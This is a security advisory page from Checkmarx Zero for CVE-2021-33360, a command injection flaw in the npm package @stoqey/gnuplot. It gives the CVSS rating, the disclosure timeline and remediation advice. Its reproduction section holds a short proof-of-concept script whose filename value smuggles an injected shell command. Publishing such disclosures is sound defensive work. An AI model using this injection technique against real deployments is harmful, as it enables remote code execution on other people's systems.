---
title: "CX-2021-4811"
date: "2021-09-01T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2021-4811/"
---

# CX-2021-4811

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

CVE-2021-33360  **Published:** Sep 1, 2021

9.8 Critical Severity javascript node nodejs npm RCE

MT Mario Teixeira  Reported by Checkmarx Zero

Details Overview

## Summary

All versions of the NPM package `@stoqey/gnuplot` are vulnerable to command injection. The function `plotCallack` receives and executes unsanitized input that is controlled by the user.

## Product

This vulnerability affects all versions of `@stoqey/gnuplot`.

## Impact

This issue may lead to remote code execution if the method is called with malicious user input.

## Steps to reproduce

1. Create the file `poc.js`:

    ```js
    const {plot} = require('@stoqey/gnuplot');
    plot({
     data: [ 1, 2, 3 ],
     filename: 'output.png"}"&echo vulnerable > result""',
     format: 'svg'
    });
    ```
2. Run `node poc.js`

### Expected result:

A file named `result` will be created with “vulnerable” written inside.

## Remediation

Currently there are no fixed versions. A workaround is to avoid passing untrusted input into the vulnerable parameters when using the library.

## Credit

This issue was discovered and reported by Checkmarx SCA Security Analyst [Mário Teixeira](https://www.linkedin.com/in/marioleitao-teixeira/).

## Resources

1. [Vulnerable code](https://github.com/stoqey/gnuplot/blob/cd76060a15f58348baeef1c5fd867ce856515949/src/index.ts#L211)

0  Critical Severity CVSS v3.1 Score

   9.8

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High

Advisory Timeline1. Discovered Jan 7, 2021
2. Disclosed Jan 19, 2021 The vulnerability was privately disclosed to the maintainer

## Explore more findings

[19 Nov 2026 CVE-2026-129292  PHP-FPM status endpoint XSS via unescaped user and script fields   5.3  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-129292/) [19 Nov 2026 CVE-2026-129538  PHP-CGI out-of-bounds read and write during PATH\_INFO correction   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-129538/) [22 Apr 2026 CVE-2026-42236  Unauthenticated Denial of Service in n8n via MCP Client Registration   8.7  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-4223/) [22 Apr 2026 CVE-2026-42230  n8n has Open Redirect in MCP OAuth Consent Flow   5.1  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-42230/) [27 Feb 2026 CVE-2026-27578  n8n Vulnerable to Stored XSS via Various Nodes   8.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-27578/) [26 Feb 2026 CVE-2026-27950  Use-after-free in FreeRDP SDL2   5.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-27950/) [27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/)
